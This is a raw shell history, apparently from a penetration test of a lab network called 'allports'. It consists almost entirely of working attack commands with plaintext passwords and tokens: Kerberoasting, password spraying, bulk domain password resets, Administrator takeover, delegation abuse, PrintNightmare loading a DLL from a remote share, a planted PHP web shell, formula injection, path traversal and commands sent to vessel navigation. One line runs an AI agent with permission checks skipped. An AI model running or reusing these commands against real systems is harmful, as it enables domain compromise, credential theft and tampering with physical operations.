  -H 'referer: https://admin.rooms.allports.tours/diagnostics.html' \\
  -H 'sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"' \\
  -H 'sec-ch-ua-mobile: ?0' \\
  -H 'sec-ch-ua-platform: "Windows"' \\
  -H 'sec-fetch-dest: empty' \\
  -H 'sec-fetch-mode: cors' \\
  -H 'sec-fetch-site: same-origin' \\
  -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \\
  --data-raw '{"url":"https://httpbin.org/get"}' \\
  --insecure


_raw:
: 1768074738:0;fetch("https://admin.rooms.allports.tours/api/diagnostics/http", {\
  "headers": {\
    "accept": "*/*",\
    "accept-language": "en-US,en;q=0.9",\
    "authorization": "Basic Y2FwdGFpbjpJYW1UaGVDYXB0YWlu",\
    "content-type": "application/json",\
    "priority": "u=1, i",\
    "sec-ch-ua": "\"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",\
    "sec-ch-ua-mobile": "?0",\
    "sec-ch-ua-platform": "\"Windows\"",\
    "sec-fetch-dest": "empty",\
    "sec-fetch-mode": "cors",\
    "sec-fetch-site": "same-origin"\
  },\
  "referrer": "https://admin.rooms.allports.tours/diagnostics.html",\
  "body": "{\"url\":\"https://httpbin.org/get\"}",\
  "method": "POST",\
  "mode": "cors",\
  "credentials": "include"\
});


_raw: : 1768074734:0;git clone https://github.com/cube0x0/CVE-2021-1675.git


_raw: : 1768074708:0;exec.Command("ping", "-c", fmt.Sprintf("%d", payload.Count), payload.Host)\


_raw: : 1768074665:0;hashcat -m 0 hash /usr/share/wordlists/rockyou.txt


_raw: : 1768074653:0;hashcat  hash /usr/share/wordlists/rockyou.txt


_raw: : 1768074634:0;cat /usr/share/wordlists/rockyou.txt| grep letmein


_raw: : 1768074598:0;hashcat -m 900 hash /usr/share/wordlists/rockyou.txt


_raw: : 1768074593:0;curl -X POST https://api.allports.local/tabular_search


_raw:
: 1768074590:0;for user in Administrator cloudbase-init PP-D232 sgray pentester; do\
    echo "[*] Testing description modification on: $user"\
    result=$(bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object "$user" description -v "test_$(date +%s)" 2>&1)\
    \
    if ! echo "$result" | grep -qi "insufficient"; then\
        echo "[CAN MODIFY $user"\
    fi\
done


_raw: : 1768074587:0;pre2k unauth -dc-ip 10.0.1.6 -d allports.local -threads 1 -u pentester -p ')u1h55hm-h(M(7nV' -verbose -save


_raw: : 1768074569:0;hashcat hash /usr/share/wordlists/rockyou.txt


_raw: : 1768074564:0;pre2k auth -dc-ip 10.0.1.6 -d allports.local -threads 1 -u pentester -p ')u1h55hm-h(M(7nV' -verbose -save


_raw: : 1768074541:0;chmod +x test_real_permissions.sh


_raw:
: 1768074532:0;cat > test_real_permissions.sh << 'EOF'\
test_users=("PP-D232" "sgray" "ereed" "wmorgan" "jward" "storres")\
\
for user in "${test_users[@]}"; do\
    echo "[*] Attempting password reset on: $user"\
    \
    result=$(bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password "$user" "Test${user}Pass123!" 2>&1)\
    \
    if echo "$result" | grep -qi "success" || ! echo "$result" | grep -qi "can't be changed\|insufficient"; then\
        echo "[+] Password reset succeeded for: $user"\
        \
        # Test the new password\
        if crackmapexec smb 10.0.1.6 -u "$user" -p "Test${user}Pass123!" 2>&1 | grep -q "\[+\]"; then\
            echo "[!!!] VERIFIED ACCESS: $user"\
            \
            # Check if they have any admin rights\
            ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=$user)" memberOf | grep -i "admin"\
            \
            # Try evil-winrm\
            echo "[*] Testing WinRM access..."\
            timeout 5 evil-winrm -i 10.0.1.6 -u "$user" -p "Test${user}Pass123!" -c "whoami" 2>&1 | head -5\
        fi\
    else\
        echo "[-] Failed: $user"\
    fi\
    echo ""\
done\
EOF


_raw: : 1768074527:0;crackmapexec ssh 10.0.1.0/24 -u pentester hm-h(M(7nV'


_raw:
: 1768074521:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' -D gps_tracker --skip-ssl\
      -e "SHOW TABLES;"


_raw: : 1768074519:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Allports1!' -v


_raw: : 1768074518:0;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --pass-pol


_raw:
: 1768074507:0;Bash(mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' -D gps_tracker --skip-ssl\
      -e "SHOW TABLES;")\


_raw: : 1768074492:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --pso


_raw: : 1768074482:0;crackmapexec ssh 10.0.1.0/24 -u all-ad-users -p ')u1h55hm-h(M(7nV' --loggedon-users


_raw: : 1768074480:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768074466:0;nxc smb 10.0.1.6 -u stuff/users  -p ')u1h55hm-h(M(7nV' --continue-on-success


_raw: : 1768074455:0;nxc smb 10.0.1.20 -u stuff/users  -p ')u1h55hm-h(M(7nV' --continue-on-success


_raw: : 1768074439:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password 'PP-D232' 'ComplexPass123!'


_raw: : 1768074367:0;crackmapexec smb 10.0.1.6 -u Administrator -p 'Pwn3dDomain!2026'


_raw:
: 1768074362:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' -D gps_tracker --skip-ssl\
      -e "SHOW TABLES;"


_raw: : 1768074344:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password 'Administrator' 'Pwn3dDomain!2026'


_raw: : 1768074342:0;cat ~/.zsh_history_readable | grep -a pentester


_raw:
: 1768074269:0;python -m supervisor.supervisor \\
  --config-file configs/scope.yaml \\
  --benchmark-mode \\
  --duration 30


_raw:
: 1768074267:0;python -m supervisor.supervisor \\
  --config-file configs/scope.yaml \\
  --benchmark-mode \\
  --duration 30 \


_raw: : 1768074245:0;cat /usr/share/wordlists/rockyou.txt| grep -n captain


_raw: : 1768074241:1;cat /usr/share/wordlists/rockyou.txt| grep captain


_raw: : 1768074233:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url http://10.0.1.11:7700


_raw: : 1768074229:0;nxc smb 10.0.1.0/24 -u pentester -p ')u1h55hm-h(M(7nV' -M printnightmare


_raw:
: 1768074202:0;python -m supervisor.supervisor \\
  --config-file configs/scope.yaml \\
  --benchmark-mode \\
  --duration 30 \\
  --require-approval\


_raw: : 1768074202:0;impacket-rbcd -delegate-from 'PWNED$' -delegate-to 'DECKHAND-02$' -dc-ip 10.0.1.6 -action write 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1768074193:0;mv configs/target_10_0_1_11.yaml configs/scope.yaml


_raw:
: 1768074171:0;python -m supervisor.supervisor \\
  --config-file configs/target_10_0_1_11.yaml \\
  --benchmark-mode \\
  --duration 30 \\
  --require-approval\


_raw:
: 1768074167:0;# Run on Docker host\
sudo iptables -t nat -A PREROUTING -d 10.0.1.11 -p tcp --dport 8080 -j DNAT --to-destination 172.18.0.2:9999\
sudo iptables -t nat -A POSTROUTING -j MASQUERADE\
\
# Then test\
curl "http://10.0.1.11:8080/?cmd=whoami"


_raw: : 1768074156:0;nxc smb 10.0.1.0/24 -u 'svc_stabilize' -p '1gyroscope'  --local-auth


_raw: : 1768074145:0;chmod +x test_password_reset.sh


_raw: : 1768074145:0;ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -fc 401


_raw: : 1768074138:0;ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw:
: 1768074137:0;cat > test_password_reset.sh << 'EOF'\
\
users=$(ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep "sAMAccountName:" | awk '{print $2}' | head -50)\
\
for user in $users; do\
    if [ "$user" == "SVC_STABILIZE" ] || [ "$user" == "Administrator" ] || [ "$user" == "krbtgt" ]; then\
        continue\
    fi\
    \
    echo "[*] Testing password reset on: $user"\
    result=$(bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password "$user" 'TestPass123!' 2>&1)\
    \
    if ! echo "$result" | grep -qi "insufficient"; then\
        echo "[!!!] CAN RESET PASSWORD: $user"\
        \
        # Test if user is privileged\
        ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=$user)" memberOf | grep -i "admin"\
    fi\
done\
E0F\
EOF


_raw: : 1768074131:0;impacket-getST -spn 'cifs/DECKHAND-02.allports.local' -impersonate Administrator -dc-ip 10.0.1.6 'allports.local/TEST$:Password123'


_raw: : 1768074127:0;nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --local-auth


_raw:
: 1768074122:0;sudo iptables -t nat -A PREROUTING -d 10.0.1.11 -p tcp --dport 8080 -j DNAT --to-destination 172.18.0.2:9999\
sudo iptables -t nat -A POSTROUTING -s 172.18.0.0/16 -j MASQUERADE


_raw: : 1768074118:0;python3 addspn.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' APT-DC-01.allports.local


_raw: : 1768074109:0;ffuf -u https://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1768074101:0;impacket-addcomputer -computer-name 'PWNED$' -computer-pass 'Password123' -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope' -no-add


_raw:
: 1768074099:0;curl \\
  -X POST 'http://penny.allports.tours:7700/keys' \\
  -H 'Authorization: Bearer MASTER_KEY' \\
  -H 'Content-Type: application/json' \\
  --data-binary '{\
    "description": "Add documents: Products API key",\
    "actions": ["documents.add"],\
    "indexes": ["products"],\
    "expiresAt": "2042-04-02T00:42:42Z"\
  }'


_raw:
: 1768074098:0;sudo iptables -t nat -A PREROUTING -d 10.0.1.11 -p tcp --dport 8080 -j DNAT --to-destination 172.18.0.2:9999\
sudo iptables -t nat -A POSTROUTING -s 172.18.0.0/16 -j MASQUERADE


_raw: : 1768074090:0;impacket-addcomputer -computer-name 'PWNED$' -computer-pass 'Password123' -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1768074079:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'Guest' userAccountControl -v 512


_raw: : 1768074071:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password 'Guest' 'GuestPass123!'


_raw: : 1768074059:0;nxc smb 10.0.1.6 -u users  -p 'letmein' --continue-on-success


_raw: : 1768074045:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 get object 'Guest' --attr nTSecurityDescriptor


_raw: : 1768074027:0;impacket-getST -spn 'cifs/DECKHAND-02.allports.local' -impersonate Administrator -dc-ip 10.0.1.6 'allports.local/TEST$:Password123'


_raw:
: 1768074026:0;python -m supervisor.supervisor \\
  --config-file configs/target_10_0_1_11.yaml \\
  --benchmark-mode \\
  --duration 30 \\
  --require-approval\


_raw: : 1768074026:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 get object 'cloudbase-init' --attr nTSecurityDescriptor


_raw: : 1768074025:0;source .venv/bin/activate && set -a && source .env && set +a


_raw: : 1768074018:0;python3 addspn.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/TEST' -t 'TEST$' APT-DC-01.allports.local


_raw:
: 1768074017:0;python -m supervisor.supervisor \\
  --config-file configs/target_10_0_1_11.yaml \\
  --benchmark-mode \\
  --duration 30 \\
  --require-approval\


_raw: : 1768074003:0;python3 -m venv pre2k-venv


_raw: : 1768073996:0;source python3 -m venv pre2k-venv


_raw: : 1768073992:0;evil-winrm -i 10.0.1.6 -u cloudbase-init -p 'CloudPass123!'


_raw: : 1768073988:0;grep -ir "IDOR" cptc11-apps-room-console


_raw: : 1768073987:0;impacket-addcomputer -computer-name 'TEST$' -computer-pass 'Password123' -dc-ip 10.0.1.6 'allports.local/svc_stabilize:1gyroscope'


_raw: : 1768073986:0;grep -irl supervisor *.md


_raw: : 1768073985:0;grep -r "IDOR" cptc11-apps-room-console


_raw: : 1768073980:0;crackmapexec smb 10.0.1.6 -u cloudbase-init -p 'CloudPass123!'


_raw: : 1768073972:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password 'cloudbase-init' 'CloudPass123!'


_raw: : 1768073970:0;grep -irl supervisor *.md


_raw: : 1768073957:0;grep -irl supervisor *.md


_raw: : 1768073947:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=cloudbase-init)" "*" | grep -i "memberOf\|adminCount\|userAccountControl"


_raw: : 1768073938:0;impacket-getST -spn 'cifs/DECKHAND-02.allports.local' -impersonate Administrator -dc-ip 10.0.1.6 'allports.local/PWNED$:Password123'


_raw: : 1768073938:0;mysql -h 10.0.1.13 -u jellyfin -pjellyfin --skip-ssl


_raw: : 1768073929:0;grep -irl supervisor *.md


_raw: : 1768073927:0;mysql -h 10.0.1.13 -u captain -pcaptain --skip-ssl


_raw: : 1768073921:0;mysql -h 10.0.1.13 -u captain -pcaptain --ignore-ssl


_raw: : 1768073901:0;cat *.md | grep supervisor


_raw: : 1768073896:0;ffuf -u https://10.0.1.11:443/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1768073889:0;cat ~/.bash_history| grep supervisor


_raw: : 1768073889:0;python3 addspn.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' APT-DC-01.allports.local


_raw: : 1768073859:0;git clone https://github.com/garrettfoster13/pre2k.git


_raw: : 1768073844:0;python3 addspn.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073841:0;sudo ip tuntap add user $(whoami) mode tun ligolo


_raw: : 1768073833:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'Administrator' description -v 'Test modification'


_raw: : 1768073831:0;python3 addSPN.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073829:0;sudo ip tuntap add user $(whoami) mode tun ligolo


_raw: : 1768073819:0;tar -xzf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz


_raw: : 1768073813:0;git clone https://github.com/dirkjanm/krbrelayx


_raw: : 1768073812:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName pwdLastSet | awk '/sAMAccountName:/{name=$2} /pwdLastSet:/{if($2<134122996000000000)print name,$2}'


_raw: : 1768073796:0;ffuf -u https://10.0.1.99:443/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1768073796:0;python3 addSPN.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073767:0;hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt


_raw:
: 1768073763:0;curl -s -X POST "http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token" \\
    -d "username=pentester&password=P@ssw0rd123&grant_type=password&client_id=gps-app" | jq


_raw:
: 1768073758:0;[200~curl -s -X POST "http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token" \\
    -d "username=pentester&password=P@ssw0rd123&grant_type=password&client_id=gps-app" | jq


_raw: : 1768073755:0;hashcat -m 31300 users.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768073749:0;hashcat -m 31300 users.txt /usr/share/wordlist/rockyou.txt


_raw: : 1768073729:0;python3 addSPN.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073714:0;GetUserSPNs.py allports.local/'svc_stabilize':'1gyroscope' -dc-ip 10.0.1.6 -request


_raw: : 1768073699:0;python3 addSPN.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073685:0;python3 addSPN.py -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073681:0;curl -X POST "https://penny.allports.tours:8045/tabular_search"


_raw: : 1768073676:0;./termshot -c -- nxc rdp hosts.txt


_raw:
: 1768073666:0;curl -s -H "Authorization: Bearer [TOKEN]" \\
    "http://10.0.1.13:8080/api/download_csv.php?file=\
    ../../../../etc/apache2/sites-enabled/000-default.conf"\


_raw:
: 1768073658:0;[200~curl -s -H "Authorization: Bearer [TOKEN]" \\
    "http://10.0.1.13:8080/api/download_csv.php?file=\
    ../../../../etc/apache2/sites-enabled/000-default.conf"


_raw: : 1768073655:0;sudo ./proxy -selfcert -v


_raw: : 1768073648:0;impacket-addSPN -u 'allports.local\svc_stabilize' -p '1gyroscope' -s 'HOST/PWNED' -t 'PWNED$' allports.local/APT-DC-01.allports.local


_raw: : 1768073617:0;./termshot -c -- nxc rdp deckhand-02.allports.local


_raw: : 1768073584:0;./termshot -c -- nxc rdp deckhand-01.allports.local


_raw:
: 1768073579:0;await fetch("https://penny.allports.tours:8045/tabular_search", {\
    "credentials": "include",\
    "headers": {\
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",\
        "Accept": "application/json",\
        "Accept-Language": "en-US,en;q=0.5",\
        "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NGRiZDEyMDQ5ZGNjOGI3ZTQyYyIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA3MzUzNSwiZXhwIjoxNzY4MDc0NDM1fQ.0BcUIgOgXSkp0o6S9cBmwN_IxwI2d7638Ny53UIB9LI",\
        "Content-Type": "application/json",\
        "Sec-Fetch-Dest": "empty",\
        "Sec-Fetch-Mode": "cors",\
        "Sec-Fetch-Site": "cross-site"\
    },\
    "referrer": "https://10.0.1.11:8045/",\
    "method": "POST",\
    "mode": "cors"\
});


_raw: : 1768073575:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'nopac'


_raw: : 1768073571:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'Administrator' userAccountControl -v 512


_raw: : 1768073556:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'msol'


_raw: : 1768073553:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=Administrator)" userAccountControl


_raw: : 1768073549:0;sudo ./proxy -selfcert -v


_raw: : 1768073520:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set password 'Administrator' 'NewAdminPass123!'


_raw: : 1768073516:0;impacket-getST -spn cifs/DECKHAND-02.allports.local -impersonate Administrator allports.local/PWNED$:Password123!


_raw: : 1768073498:0;nxc smb 10.0.1.6 -u 'Administrator' -p '' -M 'spider_plus'


_raw: : 1768073441:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'spider_plus'


_raw: : 1768073421:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'gpp_password'


_raw: : 1768073413:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'gpp_password'


_raw: : 1768073409:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M 'gpppassword'


_raw: : 1768073372:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName pwdLastSet | awk '/sAMAccountName:/{name=$2} /pwdLastSet:/{print name,$2}'


_raw: : 1768073360:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" -s base maxPwdAge minPwdAge


_raw: : 1768073341:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --users


_raw: : 1768073328:0;impacket-smbexec -u 'allports.local'/'svc_stability'%'1gyroscope' 10.0.1.20


_raw: : 1768073327:0;hashcat -m 13100 /tmp/svc_stabilize.hash /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768073323:0;impacket-getST -spn cifs/DECKHAND-02.allports.local -impersonate Administrator allports.local/PWNED$:PWNED


_raw: : 1768073315:0;hashcat -m 13100 /tmp/svc_stabilize.hash wordlist.txt


_raw: : 1768073306:0;impacket-smbexec -u 'svc_stability' -p '1gyroscope' 10.0.1.20


_raw: : 1768073270:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName msDS-ManagedPassword


_raw: : 1768073256:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --pso


_raw: : 1768073239:0;impacket-GetUserSPNs allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6


_raw: : 1768073213:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(&(memberOf=CN=Domain Admins,CN=Users,DC=allports,DC=local)(!(memberOf=CN=Protected Users,CN=Users,DC=allports,DC=local)))" sAMAccountName


_raw: : 1768073207:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --find-delegation


_raw: : 1768073187:0;hashcat -a 0 -m 13100 stabilize_ticket.txt /usr/share/wordlists/rockyou.txt --show


_raw: : 1768073175:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Print Operators' 'SVC_STABILIZE'


_raw: : 1768073161:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "CN=Print Operators,CN=Builtin,DC=allports,DC=local" member


_raw: : 1768073148:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add dnsRecord '*' '10.0.254.202'


_raw: : 1768073142:0;hashcat -a 0 -m 13100 stabilize_ticket.txt /usr/share/wordlists/rockyou.txt


_raw:
: 1768073128:0;curl -X POST "http://10.0.1.13:8080/api/export_csv.php" \\
    -H "Content-Type: application/json" \\
    -d '{"data":[["<?php system($_GET[cmd]); ?>"]], "columns":["x"], "filename":"rce.php"}'\


_raw: : 1768073106:0;hashcat -a 0 -m 13100 /usr/share/wordlists/rockyou.txt stabilize_ticket.txt


_raw: : 1768073081:0;hashcat -a 3 -m 13100 /usr/share/wordlists/rockyou.txt stabilize_ticket.txt


_raw: : 1768073064:0;curl.exe ^"https://admin.rooms.allports.tours/api/admin/announcement?authorized=true^" ^


_raw:
: 1768073062:0;
curl.exe ^"https://admin.rooms.allports.tours/api/admin/announcement?authorized=true^" ^


_raw: : 1768073051:0;hashcat -a 0 -m 13100 /usr/share/wordlists/rockyou.txt stabilize_ticket.txt


_raw: : 1768073047:0;python3 CVE-2021-1675.py allports.local/pentester:Snapshot-Firmware-Cron-Virtual-357@10.0.1.6 '\\\\10.18.103.254\\share\\mal_test.dll'


_raw:
: 1768073045:0;curl -X POST http://10.0.1.13:8080/api/export_csv.php \\
    -H 'Content-Type: application/json' \\
    -d '{"data":[["=cmd|'"'"'/c calc'"'"'!A1","test"]],"columns":["Evil","Data"],"filename":"hack.csv"}'


_raw: : 1768073041:0;python3 CVE-2021-1675.py allports.local/pentester:Snapshot-Firmware-Cron-Virtual-357@10.0.1.21 '\\\\10.18.103.254\\share\\mal_test.dll'


_raw: : 1768073020:0;python3 CVE-2021-1675.py allports.local/pentester:Snapshot-Firmware-Cron-Virtual-357@10.0.1.20 '\\\\10.18.103.254\\share\\mal_test.dll'


_raw: : 1768073017:0;impacket-GetUserSPNs ALLPORTS.LOCAL/'pentester':')u1h55hm-h(M(7nV' -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1768072999:0;impacket-GetUserSPNs ALLPORTS.LOCAL/'pentester':')u1h55hm-h(M(7nV' -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1768072968:0;impacket-GetUserSPNs ALLPORTS.LOCAL/pentester:')u1h55hm-h(M(7nV' -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1768072958:0;impacket-GetUserSPNs ALLPORTS.LOCAL/pentester:)u1h55hm-h(M(7nV -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1768072898:0;git clone https://github.com/nathanealm/PrintNightmare-Exploit.git


_raw: : 1768072892:0;sudo ip link set ligolo up


_raw: : 1768072871:0;impacket-smbserver share . -smb2support


_raw: : 1768072831:0;impacket-getST -spn 'gyroscope/APT-DC-01' -impersonate Administrator allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6


_raw: : 1768072795:0;sudo apt install crackmapexec


_raw: : 1768072781:0;- Successfully redirected vessel navigation to "TestPort"


_raw:
: 1768072768:0;curl -X POST http://10.0.1.13:8080/api/navigation.php?action=speed \\
    -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJmZTJhYjE0MC1mNTljLTRiNGMtYjllMS03NTgzMDI5NTFhOTUifQ.eyJleHAiOjE3NjgxMDg0ODEsImlhdCI6MTc2ODA3MjQ4MSwianRpIjoiNzVmNmM5OWQtMWIzYS00Mzg2LWE4NTQtYTI2YWZkZDkzMzRmIiwiaXNzIjoiaHR0cDovLzEwLjAuMS4xMzo4MTgwL3JlYWxtcy9ncHMiLCJzdWIiOiJmMGIxODgzZC1lZjViLTQyZTUtYjRiNi0wYTJlZjJlMmI0Y2QiLCJ0eXAiOiJTZXJpYWxpemVkLUlEIiwic2Vzc2lvbl9zdGF0ZSI6IjU2OTg2YWE1LTcyOWEtNDAwYS1iNGE3LWU2M2U3ZDE1OTNkZSIsInNpZCI6IjU2OTg2YWE1LTcyOWEtNDAwYS1iNGE3LWU2M2U3ZDE1OTNkZSIsInN0YXRlX2NoZWNrZXIiOiJZYVQ1OWJ1WG1oVmM5OWpUV2g3ZmJXaXBDcnMxcHNwd2RWRklZZWJoc19ZIn0.3Xiscyv1x19k-TKleaXMV-tJB5kRwD0C4GWqb4ok1_Y" \                                                             \
    -H 'Content-Type: application/json' \\
    -d '{"speed_knots": 5}'


_raw:
: 1768072745:0;curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJmZTJhYjE0MC1mNTljLTRiNGMtYjllMS03NTgzMDI5NTFhOTUifQ.eyJleHAiOjE3NjgxMDg0ODEsImlhdCI6MTc2ODA3MjQ4MSwianRpIjoiNzVmNmM5OWQtMWIzYS00Mzg2LWE4NTQtYTI2YWZkZDkzMzRmIiwiaXNzIjoiaHR0cDovLzEwLjAuMS4xMzo4MTgwL3JlYWxtcy9ncHMiLCJzdWIiOiJmMGIxODgzZC1lZjViLTQyZTUtYjRiNi0wYTJlZjJlMmI0Y2QiLCJ0eXAiOiJTZXJpYWxpemVkLUlEIiwic2Vzc2lvbl9zdGF0ZSI6IjU2OTg2YWE1LTcyOWEtNDAwYS1iNGE3LWU2M2U3ZDE1OTNkZSIsInNpZCI6IjU2OTg2YWE1LTcyOWEtNDAwYS1iNGE3LWU2M2U3ZDE1OTNkZSIsInN0YXRlX2NoZWNrZXIiOiJZYVQ1OWJ1WG1oVmM5OWpUV2g3ZmJXaXBDcnMxcHNwd2RWRklZZWJoc19ZIn0.3Xiscyv1x19k-TKleaXMV-tJB5kRwD0C4GWqb4ok1_Y" \                                                          \
    http://10.0.1.13:8080/api/download_csv.php?file=advanced_payload.csv \\
    -o advanced_payload.csv


_raw: : 1768072725:0;sudo ip tuntap add user $(whoami) mode tun ligolo


_raw: : 1768072724:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --bloodhound -c all --dns-server 10.0.1.6


_raw: : 1768072718:0;nxc smb 10.0.1.6 -u users -p 1admin --no-bruteforce --continue-on-success


_raw: : 1768072713:0;tar -xzf ligolo-ng_proxy_0.6.2_linux_amd64.tar.gz


